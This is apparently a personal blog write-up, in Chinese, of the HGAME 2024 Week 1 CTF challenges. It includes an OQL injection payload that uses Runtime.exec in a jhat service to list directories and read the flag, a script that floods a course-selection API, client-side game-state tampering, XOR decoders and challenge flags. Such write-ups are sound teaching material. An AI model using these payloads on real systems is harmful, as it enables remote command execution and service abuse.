目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 2048*16 (复现)
      1. 2.1.1. 错误的思路
      2. 2.1.2. 正解
    2. 2.2. Bypass it
    3. 2.3. jhat
    4. 2.4. Select Courses
    5. 2.5. ezHTTP
  3. 3. Reverse
    1. 3.1. ezASM
    2. 3.2. ezUPX
    3. 3.3. ezIDA
  4. 4. Pwn
    1. 4.1. EzSignIn
  5. 5. Crypto
    1. 5.1. ezRSA (Unsolved)
  6. 6. Misc
    1. 6.1. 签到

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Hgame2024 Week1

2024/1/29 CTF线上赛
  |     |   总文章阅读量:

前言

我怎么还是不会js前端。。

Web

2048*16 (复现)

JavaScript反调试+混淆

进入题目,禁用了右键和f12,可以用ctrl+shift+i打开开发者工具

一进去就卡爆,因为设置了大量debugger语句,我们得先在外面禁用断点

即使这样依旧很卡

错误的思路

接下来在控制台进行操作,先查看window变量

image-20240130231718534

可以看到有score,won,bestscore

接下来就是修改这几个的值

fakeStorage._data.bestScore=32769 
fakeStorage._data.gameState = JSON.stringify({ ...JSON.parse(fakeStorage._data.gameState), score: 32769, over: true, won: true });

image-20240130231814889

然后?然后一动之后最高分确实改了,但是gameState根本没变

正解

反调试的解法(建议在edge里面来看开发者工具,firefox太卡了。。):根据debugger触发的堆栈找到代码所在位置,在本地替换版本中删除这部分反调代码

不过我不会(

虽然有逆天混淆,不过我们能找到的一个明显的特征就是 game-won

image-20240219144811306

存在一段密文V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3

然后这个时候应该猜测存在另一段类似的密文,搜message的时候发现

image-20240219145036870

找到另一个密文I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK

试一下可以发现上面那个是base64表,下面那个是base64密文

得到flag

image-20240219145122805

还有一种方法是在可以函数里面打断点,猜测形参x是胜利与否,故意输掉并修改函数传入的x为true,假装获胜触发游戏通关的逻辑(这活应该让re手来做


Bypass it

JavaScript

进入题目,给了个登录和注册的功能

点击注册,弹出窗口不允许注册并重定向回登录界面

浏览器把js禁用掉,再点击注册,这个时候就能正常注册了

注册完再启用js,登录进去,点击click_here即可获得flag


jhat

oql查询语句命令执行 + 不出网

给了个Dockerfile

FROM openjdk:8

COPY data /

CMD jhat heapdump.hprof

EXPOSE 7000

搜了下jhat,是一个分析java堆文件的命令,可以将堆中的对象以html的形式显示出来,包括对象的数量,大小等等,并支持对象查询语言(OQL)

参考:https://wooyun.js.org/drops/OQL(%E5%AF%B9%E8%B1%A1%E6%9F%A5%E8%AF%A2%E8%AF%AD%E8%A8%80)%E5%9C%A8%E4%BA%A7%E5%93%81%E5%AE%9E%E7%8E%B0%E4%B8%AD%E9%80%A0%E6%88%90%E7%9A%84RCE(Object%20Injection).html

可以直接命令执行,但是测了一下靶机不出网

(java.lang.Runtime.getRuntime().exec('ls'))

一些oql执行语句

select s from java.lang.String s where s.value.length >= 100
select a from [I a where a.length >= 256
select s.value.toString() from java.lang.String s where /java/.test(s.value.toString())
select file.path.value.toString() from java.io.File file
select classof(cl).name from instanceof java.lang.ClassLoader cl
select o from instanceof 0xd404b198 o
heap.forEachClass(callback);
heap.forEachObject(callback, clazz, includeSubtypes);
heap.findClass(className);
heap.findObject(stringIdOfObject);
heap.objects(clazz, [includeSubtypes], [filter])
heap.finalizables
select heap.livepaths(s) from java.lang.String s
select heap.findClass("java.lang.System").statics.props
select heap.findClass("java.lang.String").fields.length
select heap.findObject("0xf3800b58")
select filter(heap.classes(), "/java.net./.test(it.name)")
select "<b>" + toHtml(o) + "</b>" from java.lang.Object o

(其实没啥用,顶多看一下有哪些类)

构造出可以回显的payload:

new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls /").getInputStream(),"gbk")).readLine()

尝试直接读flag

new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat flag").getInputStream(),"gbk")).readLine()

image-20240129234708838

好难。。。对于java苦手而言


Select Courses

python脚本

进入题目,一眼抢课

抓包发现选课的接口为/api/courses

image-20240129211858119

这里的逻辑是能不能抢到课就是个纯随机事件,那么写脚本爆破就行

exp:

import requests
import time

url = "http://47.100.137.175:31213/api/courses"
data = {"id": 1}

while True:
    for i in range(1, 6):
        data["id"] = i
        response = requests.post(url, json=data)
        print(f"Response for id={i}: {response.text}")

等一会就能全抢到了

image-20240129212104682

flag:hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}


ezHTTP

HTTP Protocol Basics

经典http协议

image-20240130212211738

最后的flag在响应头里,还要jwt解码一次


Reverse

ezASM

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22
    cmp al, byte [c + esi]
    jne failure_check

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

一眼数组和0x22进行xor异或

c = [
    74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18,
    80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
]
flag = [0] * len(c)
xor_key = 0x22

for i in range(len(c)):
    flag[i] = c[i] ^ xor_key

flag_string = ''.join(chr(byte) for byte in flag)
print(flag_string)

ezUPX

查壳

image-20240205144957273

upx壳,直接脱

upx.exe -d ezUPX.exe

反编译

image-20240205150138230

关键代码,看一下byte_1400022A0

image-20240205150219664

取出来和0x32异或得到flag

c = [
    0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13, 0x6B, 0x02,
    0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06, 0x6D, 0x5E, 0x03, 0x46,
    0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F,
    0x32
]
flag = [0] * len(c)
xor_key = 0x32

for i in range(len(c)):
    flag[i] = c[i] ^ xor_key

flag_string = ''.join(chr(byte) for byte in flag)
print(flag_string)

ezIDA

shift+f12出flag

image-20240205144204892


Pwn

EzSignIn

nc上去直接得到flag


Crypto

ezRSA (Unsolved)

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)

print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')

"""
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
"""

Misc

签到

hgame{welc0me_t0_HGAME_2024}